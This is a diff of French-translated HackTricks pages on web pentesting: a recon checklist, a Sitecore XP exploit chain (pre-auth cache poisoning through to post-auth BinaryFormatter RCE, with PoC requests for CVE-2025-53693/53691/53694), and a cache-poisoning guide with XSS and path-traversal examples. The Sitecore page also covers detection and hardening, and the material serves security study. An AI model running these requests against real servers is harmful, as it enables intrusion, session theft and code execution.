-- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source dans le navigateur). Autre possibilité : utiliser **plusieurs sauts de ligne** et **cacher des informations** dans un commentaire en bas de la page web.
-- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: Si vous trouvez une API key commençant par **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles APIs la clé peut accéder.
-- **S3 Buckets**: Pendant le spidering, regardez si un **subdomain** ou un **lien** est lié à un **S3 bucket**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
+- **Comments:** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
+- Si vous jouez un **CTF**, une astuce courante est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'espaces pour que vous ne voyiez pas les données si vous ouvrez le source avec le navigateur). Autre possibilité : utiliser plusieurs nouvelles lignes et **cacher des informations** dans un commentaire en bas de la page web.
+- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys pour différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Si vous trouvez une API key ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles apis la key peut accéder.
+- **S3 Buckets**: Pendant le Spidering regardez si un sous-domaine ou un lien est lié à un S3 bucket. Dans ce cas, [**check** the **permissions** of the bucket](buckets/index.html).
 
 ### Special findings
 
-**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **choses** **intéressantes** qu'il faut **remarquer**.
+**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
 
-**Fichiers intéressants**
+**Interesting files**
 
-- Cherchez des **liens** vers d'autres fichiers dans les fichiers **CSS**.
-- [Si vous trouvez un _**.git**_ des informations peuvent être extraites](git.md)
-- Si vous trouvez un _**.env**_ des informations telles que des api keys, mots de passe de dbs et autres informations peuvent être trouvées.
-- Si vous trouvez des **API endpoints** vous [devez aussi les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers.
-- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des chemins depuis les fichiers JS ont été mentionnés. Il serait aussi intéressant de **monitorer chaque fichier JS trouvé**, car parfois un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
+- Cherchez des **links** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
+- [If you find a _**.git**_ file some information can be extracted](git.md)
+- Si vous trouvez un _**.env**_ des informations comme des api keys, des mots de passe db et d'autres informations peuvent être trouvées.
+- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement à des fichiers.
+- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont été mentionnés. De plus, il serait intéressant de **monitor** chaque fichier JS trouvé, car parfois un changement peut indiquer qu'une potentielle vulnérabilité a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
 - Vous devriez aussi vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- À plusieurs occasions, vous aurez besoin de **comprendre les expressions régulières** utilisées. Cela sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
-- Vous pourriez aussi **monitorer les fichiers où des formulaires ont été détectés**, car un changement dans les paramètres ou l'apparition d'un nouveau formulaire peut indiquer une fonctionnalité potentiellement vulnérable.
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- Dans plusieurs cas, vous aurez besoin de **comprendre les expressions régulières** utilisées. Ceci sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
+- Vous pourriez aussi **monitor** les fichiers où des forms ont été détectés, car un changement de paramètre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -312,21 +313,21 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute
 
 **502 Proxy Error**
 
-Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec l'en-tête Host et d'autres en-têtes communs), le **proxy** va essayer d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
+Si une page **répond** avec ce **code**, c'est probablement un **proxy mal configuré**. **Si vous envoyez une requête HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** essaiera d'**accéder** à _**google.com**_ **et vous aurez trouvé un** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez une page de login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\
-**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et dû à la manière dont fonctionne l'**NTLM authentication**, le serveur répondra avec des infos internes (version IIS, version Windows...) dans l'en-tête "WWW-Authenticate".\
-Vous pouvez **automatiser** cela avec le plugin **nmap** "_http-ntlm-info.nse_".
+Si le serveur en cours demandant l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **domain** **name**), vous pouvez provoquer une **information disclosure**.\
+**Envoyez** le **header** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et à cause du fonctionnement de l'**NTLM authentication**, le serveur répondra avec des infos internes (version IIS, version Windows...) dans le header "WWW-Authenticate".\
+Vous pouvez **automatiser** cela en utilisant le plugin nmap "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (puisque le navigateur exécutera la redirection) mais quelque chose pourrait y être **caché**.
+Il est possible de **mettre du contenu** à l'intérieur d'une **Redirection**. Ce contenu **ne sera pas affiché à l'utilisateur** (le navigateur exécutera la redirection) mais quelque chose pourrait y être **caché**.
 
 ### Web Vulnerabilities Checking
 
-Maintenant qu'une énumération complète de l'application web a été réalisée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici :
+Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici :
 
 
 {{#ref}}
@@ -341,7 +342,7 @@ Trouvez plus d'infos sur les vulnérabilités web sur :
 
 ### Monitor Pages for changes
 
-Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient introduire des vulnérabilités.
+Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient insérer des vulnérabilités.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/sitecore/README.md

@@ -0,0 +1,194 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Cette page résume une chaîne d'attaque pratique contre Sitecore XP 10.4.1 qui pivote d'un pre‑auth XAML handler vers HTML cache poisoning et, via un flux UI authentifié, aboutit à une RCE via BinaryFormatter deserialization. Les techniques se généralisent à des versions/composants similaires de Sitecore et fournissent des primitives concrètes pour tester, détecter et durcir.
+
+- Produit affecté testé : Sitecore XP 10.4.1 rev. 011628
+- Corrigé dans : KB1003667, KB1003734 (June/July 2025)
+
+Voir aussi :
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+Le point d'entrée est le pre‑auth XAML handler enregistré dans web.config :
+```xml
+<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
+```
+Accessible via :
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+L'arborescence des contrôles inclut AjaxScriptManager qui, lors des requêtes d'événements, lit des champs contrôlés par l'attaquant et invoque par réflexion des méthodes sur les contrôles ciblés :
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"];      // target control
+string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+Observation clé : la page XAML inclut une instance de XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dérive de Sitecore.Web.UI.WebControl (une classe Sitecore), qui passe la allow‑list ReflectionUtil.Filter (Sitecore.*), déverrouillant des méthodes sur Sitecore WebControl.
+
+Méthode magique pour poisoning:
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+Parce que nous pouvons cibler xmlcontrol:GlobalHeader et appeler des méthodes de Sitecore.Web.UI.WebControl par leur nom, nous obtenons un primitif d'écriture arbitraire de HtmlCache pre-auth.
+
+### Requête PoC (CVE-2025-53693)
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Remarques :
+- __SOURCE est le clientID de xmlcontrol:GlobalHeader au sein de Sitecore.Shell.Xaml.WebControl (généralement stable comme ctl00_ctl00_ctl05_ctl03 car il est dérivé d'un XAML statique).
+- __PARAMETERS le format est Method("arg1","arg2").
+
+## Quoi empoisonner : construction de la clé de cache
+
+Construction typique de la clé HtmlCache utilisée par les contrôles Sitecore :
+```csharp
+public virtual string GetCacheKey(){
+SiteContext site = Sitecore.Context.Site;
+if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+if (key.Length > 0){
+string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+if (this.VaryByData)        k += ResolveDataKeyPart();
+if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
+if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
+if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
+if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
+if (this.VaryByQueryString && site?.Request != null)
+k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+if (this.ClearOnIndexUpdate) k += "_#index";
+return k;
+}
+}
+return string.Empty;
+}
+```
+Exemple de targeted poisoning pour un sublayout connu :
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+## Énumération des éléments cacheables et “vary by” dimensions
+
+Si ItemService est (mal)exposé anonymement, vous pouvez énumérer les composants cacheables pour dériver des clés exactes.
+
+Test rapide:
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+Lister les éléments cacheables et les flags :
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+Recherchez des champs tels que Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Les noms d'appareils peuvent être énumérés via :
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+### Side‑channel enumeration sous des identités restreintes (CVE-2025-53694)
+
+Même lorsque ItemService se fait passer pour un compte limité (par ex., ServicesAPI) et renvoie un tableau Results vide, TotalCount peut encore refléter des pre‑ACL Solr hits. Vous pouvez brute‑force item groups/ids avec des wildcards et observer TotalCount converger pour cartographier le contenu interne et les devices:
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
+
+Sink:
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+Accessible via l'étape de pipeline convertToRuntimeHtml ConvertWebControls, qui recherche un élément ayant pour id {iframeId}_inner, décode son contenu en base64 et le désérialise, puis injecte la chaîne résultante dans le HTML :
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2   = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+Déclencheur (authentifié, droits Content Editor). La boîte de dialogue FixHtml appelle convertToRuntimeHtml. De bout en bout sans clics dans l'UI :
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc" value="poc"></iframe>
+<test id="test_inner" value="BASE64_GADGET"></test>
+</html>
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## Chaîne complète
+
+1) Un attaquant pré‑auth empoisonne HtmlCache avec du HTML arbitraire en invoquant reflectively WebControl.AddToCache via XAML AjaxScriptManager.  
+2) Le HTML empoisonné sert du JavaScript qui incite un utilisateur authentifié Content Editor à travers le flux FixHtml.  
+3) La page FixHtml déclenche convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE sous l'identité du pool d'applications Sitecore.
+
+## Détection
+
+- XAML pré‑auth : requêtes vers `/-/xaml/Sitecore.Shell.Xaml.WebControl` avec `__ISEVENT=1`, `__SOURCE` suspect et `__PARAMETERS=AddToCache(...)`.  
+- ItemService probing : pics de requêtes wildcard vers `/sitecore/api/ssc`, grand `TotalCount` avec `Results` vides.  
+- Deserialization attempts : `EditHtml.aspx` suivi de `FixHtml.aspx?hdl=...` et base64 anormalement volumineux dans les champs HTML.
+
+## Durcissement
+
+- Appliquer les patches Sitecore KB1003667 et KB1003734 ; gate/disable les handlers XAML pré‑auth ou ajouter une validation stricte ; surveiller et rate‑limiter `/-/xaml/`.  
+- Supprimer/remplacer BinaryFormatter ; restreindre l'accès à convertToRuntimeHtml ou imposer une validation serveur forte des flux d'édition HTML.  
+- Verrouiller `/sitecore/api/ssc` sur loopback ou des rôles authentifiés ; éviter les impersonation patterns qui leak des canaux secondaires basés sur `TotalCount`.  
+- Imposer MFA/least privilege pour les utilisateurs Content Editor ; revoir la CSP pour réduire l'impact du JS steering issu du cache poisoning.
+
+## Références
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)  
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)  
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

@@ -1,130 +1,134 @@
-# Poisonnement de Cache et Tromperie de Cache
+# Cache Poisoning and Cache Deception
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## La différence
 
-> **Quelle est la différence entre le poisonnement de cache web et la tromperie de cache web ?**
+> **Quelle est la différence entre web cache poisoning et web cache deception ?**
 >
-> - Dans le **poisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
-> - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
+> - Dans **web cache poisoning**, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
+> - Dans **web cache deception**, l'attaquant provoque le stockage d'un contenu sensible appartenant à un autre utilisateur dans le cache, puis récupère ce contenu depuis le cache.
 
-## Poisonnement de Cache
+## Cache Poisoning
 
-Le poisonnement de cache vise à manipuler le cache côté client pour forcer les clients à charger des ressources qui sont inattendues, partielles ou sous le contrôle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, car la réponse contaminée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
+L'objectif du cache poisoning est de manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d'un attaquant. L'étendue de l'impact dépend de la popularité de la page affectée, car la réponse altérée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
 
-L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes :
+L'exécution d'une attaque de cache poisoning implique plusieurs étapes :
 
-1. **Identification des Entrées Non Clés** : Ce sont des paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces entrées est crucial car elles peuvent être exploitées pour manipuler le cache.
-2. **Exploitation des Entrées Non Clés** : Après avoir identifié les entrées non clés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur d'une manière qui profite à l'attaquant.
-3. **S'assurer que la Réponse Contaminée est Mise en Cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée.
+1. **Identification des paramètres non pris en compte dans la clé** : ce sont des paramètres qui, bien qu'ils ne soient pas pris en compte pour la mise en cache d'une requête, peuvent modifier la réponse renvoyée par le serveur. Les identifier est crucial car ils peuvent être exploités pour manipuler le cache.
+2. **Exploitation des paramètres non pris en compte** : après les avoir identifiés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur de manière avantageuse pour l'attaquant.
+3. **S'assurer que la réponse empoisonnée est mise en cache** : la dernière étape est de garantir que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse altérée.
 
-### Découverte : Vérifiez les en-têtes HTTP
+### Découverte : Vérifier les en-têtes HTTP
 
-En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans cet article : [**En-têtes de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Généralement, lorsqu'une réponse a été **stockée dans le cache** il y aura un **en-tête l'indiquant**. Vous pouvez vérifier quels en-têtes vous devez surveiller dans cet article : [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Découverte : Codes d'erreur de mise en cache
+### Découverte : Mise en cache des codes d'erreur
 
-Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
+Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d'**envoyer des requêtes avec un en-tête mal formé**, qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder normalement à la requête et si la **réponse renvoie un code 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
 
 Vous pouvez trouver plus d'options dans :
 
+
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cache**, donc ce test pourrait ne pas être fiable.
+Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cache**, donc ce test peut ne pas être fiable.
 
-### Découverte : Identifier et évaluer les entrées non clés
+### Découverte : Identifier et évaluer les paramètres non pris en compte dans la clé de cache
 
-Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui pourraient être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
+Vous pouvez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **brute-force parameters and headers** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là :
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Éliciter une réponse nuisible du serveur back-end
+### Provoquer une réponse malveillante depuis le serveur back-end
 
-Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** et **où** il est **réfléchi** ou affecte la réponse de l'en-tête. Pouvez-vous en abuser de quelque manière que ce soit (effectuer un XSS ou charger un code JS contrôlé par vous ? effectuer un DoS ?...)
+Avec le paramètre/en-tête identifié, vérifiez comment il est **assaini** et **où** il est **reflété** ou affecte la réponse. Pouvez-vous l'abuser malgré tout (réaliser une XSS ou charger un code JS que vous contrôlez ? effectuer un DoS ?...)
 
-### Obtenir la réponse mise en cache
+### Obtenir la mise en cache de la réponse
 
-Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** en abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.
+Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de placer en cache, cela peut prendre un certain temps ; il se peut que vous deviez réessayer pendant plusieurs secondes.
 
-L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
-L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
+L'en-tête **`X-Cache`** dans la réponse peut être très utile car il peut avoir la valeur **`miss`** quand la requête n'a pas été mise en cache et la valeur **`hit`** quand elle est en cache.\
+L'en-tête **`Cache-Control`** est aussi intéressant pour savoir si une ressource est mise en cache et quand elle sera recachée : `Cache-Control: public, max-age=1800`
 
-Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
+Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **faisant partie de la clé du cache** même s'ils ne sont normalement pas pris en compte. Par conséquent, si l'attaquant connaît le `User-Agent` de la victime qu'il vise, il peut poison the cache pour les utilisateurs utilisant ce `User-Agent` spécifique.
 
-Un en-tête supplémentaire lié au cache est **`Age`**. Il définit le temps en secondes que l'objet a passé dans le cache proxy.
+Un autre en-tête lié au cache est **`Age`**. Il indique le temps en secondes pendant lequel l'objet est resté dans le cache du proxy.
 
-Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser ce même en-tête**. Testez toujours un empoisonnement de cache avec **différents navigateurs** pour vérifier si cela fonctionne.
+Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux peuvent être **pris en compte de façon inattendue** comme **faisant partie de la clé du cache**, et la **victime devra utiliser ce même en-tête**. Testez toujours un Cache Poisoning avec **différents navigateurs** pour vérifier que cela fonctionne.
 
 ## Exemples d'exploitation
 
 ### Exemple le plus simple
 
-Un en-tête comme `X-Forwarded-For` est réfléchi dans la réponse sans être sanitisé.\
-Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache afin que tout le monde qui accède à la page sera XSSé :
+Un en-tête comme `X-Forwarded-For` est reflété dans la réponse sans être assaini.\
+Vous pouvez envoyer un payload XSS basique et poison the cache afin que toute personne qui accède à la page soit XSSed:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Notez que cela empoisonnera une requête à `/en?region=uk` et non à `/en`_
+_Notez que cela va empoisonner une requête vers `/en?region=uk` et non vers `/en`_
+
+### Cache poisoning to DoS
 
-### Empoisonnement de cache pour DoS
 
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-### Empoisonnement de cache via les CDN
+### Cache poisoning à travers les CDNs
 
-Dans **[ce rapport](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**, le scénario simple suivant est expliqué :
+Dans **[cet writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** est expliqué le scénario simple suivant :
 
 - Le CDN mettra en cache tout ce qui se trouve sous `/share/`
-- Le CDN ne décodera ni ne normalisera `%2F..%2F`, par conséquent, il peut être utilisé comme **traversée de chemin pour accéder à d'autres emplacements sensibles qui seront mis en cache** comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Le serveur web DÉCODERA et normalisera `%2F..%2F`, et répondra avec `/api/auth/session`, qui **contient le jeton d'authentification**.
